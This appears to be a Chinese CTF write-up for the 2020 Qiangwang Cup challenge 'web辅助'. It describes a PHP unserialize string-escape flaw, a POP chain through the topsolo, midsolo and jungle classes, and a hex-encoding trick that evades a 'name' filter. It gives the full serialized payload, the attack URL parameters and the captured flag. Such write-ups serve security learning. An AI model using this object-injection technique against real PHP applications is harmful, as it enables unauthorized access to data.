[强网先锋] web辅助 xp0int Posted on Aug 28 2020 web辅助 操作内容: 1、common.php中的read和write函数, 调用后读出有一个5字符变3字符的字符逃逸问题。所以在进行反序列化的时候,还会继续向后读取,这样序列化的结果就完全不一样了。 2、构造pop链 topsolo类的TP方法进行对象调用--》触发midsolo的__invoke方法然后触发Gank方法--》stristr是对字符串的操作触发了jungle类的__toString方法达到输出flag的目的 3、源码中class.php中出现了四个类,player,topsolo,midsolo,jungle,除了player类其他三个类中都出现了一个name属性,然后看到common.php中有check函数有对这个name字符串进行限制: if(stristr($data, 'name')!==False){ die("Name Pass\n"); } else{ return $data; } 需要绕过stristr对name的检测: 这里可以通过序列化时将s改为S,php序列化中为了避免信息丢失,支持当使用大写S时,此时这个字符串就支持将后面的字符串用16进制表示。 4、payload构造 $jun=new jungle(NULL); $mid=new midsolo($jun); $top=new topsolo($mid); $payload=(serialize($top)); //O:7:"topsolo":1:{s:7:" * name";O:7:"midsolo":1:{s:7:" * name";O:6:"jungle":1:{s:7:" * name";N;}}} 5、计算逃逸点 一点点试, 最后固定username的值为\0*\0为22组,则可以逃逸出44个字符 构造pass属性的值: ;"AAAAAAAAAAAAAAAAAAA";s:8:"%00*%00admin";O:7:"topsolo":2:{S:7:"\00*\00\6e\61\6d\65";O:7:"midsolo":1:{S:7:"\00*\00\6e\61\6d\65";O:6:"jungle":1:{S:7:"\x00*\x00\x06e1\x06d5";N;}}} 最后payload: ?username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0&password=;%22AAAAAAAAAAAAAAAAAAA%22;s:8:%22%00*%00admin%22;O:7:%22topsolo%22:2:{S:7:%22\00*\00\6e\61\6d\65%22;O:7:%22midsolo%22:1:{S:7:%22\00*\00\6e\61\6d\65%22;O:6:%22jungle%22:1:{S:7:%22\x00*\x00\x06e1\x06d5%22;N;}}} 6、触发play.php 获得flag ![title](https://leanote.com/api/file/getImage?fileId=5f434391ab644139c500119a) flag值: flag{bb48bebb-7600-4c75-93bc-1c9ebe396e7d} 打赏还是打残,这是个问题 赏 Wechat Pay Alipay 0x00 题目名称 [强网先锋] Funhash - Donek1
没有帐号? 立即注册